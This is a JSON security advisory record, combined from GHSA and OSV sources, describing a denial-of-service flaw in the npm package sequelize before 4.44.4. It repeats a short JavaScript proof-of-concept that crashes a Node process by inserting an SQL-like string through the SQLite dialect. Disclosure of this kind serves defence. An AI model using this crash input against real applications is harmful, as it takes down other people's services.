{"id":"GHSA-fw4p-36j9-rrj3","aliases":[],"status":"published","title":"Denial of Service in sequelize","description":"Versions of `sequelize` prior to 4.44.4 are vulnerable to Denial of Service (DoS). The SQLite dialect fails to catch a `TypeError` exception for the `results` variable. The `results` value may be undefined and trigger the error on a `.map` call. This may allow attackers to submit malicious input that forces the exception and crashes the Node process.  \n\nThe following proof-of-concept crashes the Node process:  \n```\nconst Sequelize = require('sequelize');\n\nconst sequelize = new Sequelize({\n\tdialect: 'sqlite',\n\tstorage: 'database.sqlite'\n});\n\nconst TypeError = sequelize.define('TypeError', {\n\tname: Sequelize.STRING,\n});\n\nTypeError.sync({force: true}).then(() =\u003e {\n\treturn TypeError.create({name: \"SELECT tbl_name FROM sqlite_master\"});\n});\n```\n\n\n## Recommendation\n\nUpgrade to version 4.44.4 or later.","facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-248"],"published":"2020-09-03T20:25:33Z","modified":"2023-04-11T00:30:39Z","fixes":[{"ecosystem":"npm","package":"sequelize","fixed_in":["4.44.4"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"sequelize","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.44.4"}]}]},{"source":"osv","ecosystem":"npm","package":"sequelize","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"4.44.4"}]}]}],"references":[{"url":"https://github.com/sequelize/sequelize/pull/11877","tags":["web"]},{"url":"https://www.npmjs.com/advisories/1142","tags":["web"]},{"url":"https://github.com/advisories/GHSA-fw4p-36j9-rrj3"}],"sources":{"ghsa":[{"id":"GHSA-fw4p-36j9-rrj3","title":"Denial of Service in sequelize","description":"Versions of `sequelize` prior to 4.44.4 are vulnerable to Denial of Service (DoS). The SQLite dialect fails to catch a `TypeError` exception for the `results` variable. The `results` value may be undefined and trigger the error on a `.map` call. This may allow attackers to submit malicious input that forces the exception and crashes the Node process.  \n\nThe following proof-of-concept crashes the Node process:  \n```\nconst Sequelize = require('sequelize');\n\nconst sequelize = new Sequelize({\n\tdialect: 'sqlite',\n\tstorage: 'database.sqlite'\n});\n\nconst TypeError = sequelize.define('TypeError', {\n\tname: Sequelize.STRING,\n});\n\nTypeError.sync({force: true}).then(() =\u003e {\n\treturn TypeError.create({name: \"SELECT tbl_name FROM sqlite_master\"});\n});\n```\n\n\n## Recommendation\n\nUpgrade to version 4.44.4 or later.","status":"published","published":"2020-09-03T20:25:33Z","modified":"2023-04-11T00:30:39Z","cwes":["CWE-248"],"updated_at":"2026-11-02T14:36:50.476488Z"}],"osv":[{"id":"GHSA-fw4p-36j9-rrj3","title":"Denial of Service in sequelize","description":"Versions of `sequelize` prior to 4.44.4 are vulnerable to Denial of Service (DoS). The SQLite dialect fails to catch a `TypeError` exception for the `results` variable. The `results` value may be undefined and trigger the error on a `.map` call. This may allow attackers to submit malicious input that forces the exception and crashes the Node process.  \n\nThe following proof-of-concept crashes the Node process:  \n```\nconst Sequelize = require('sequelize');\n\nconst sequelize = new Sequelize({\n\tdialect: 'sqlite',\n\tstorage: 'database.sqlite'\n});\n\nconst TypeError = sequelize.define('TypeError', {\n\tname: Sequelize.STRING,\n});\n\nTypeError.sync({force: true}).then(() =\u003e {\n\treturn TypeError.create({name: \"SELECT tbl_name FROM sqlite_master\"});\n});\n```\n\n\n## Recommendation\n\nUpgrade to version 4.44.4 or later.","status":"published","published":"2020-09-03T20:25:33Z","modified":"2020-08-31T18:48:48Z","cwes":["CWE-248"],"updated_at":"2026-11-02T15:46:47.119724Z"}]}}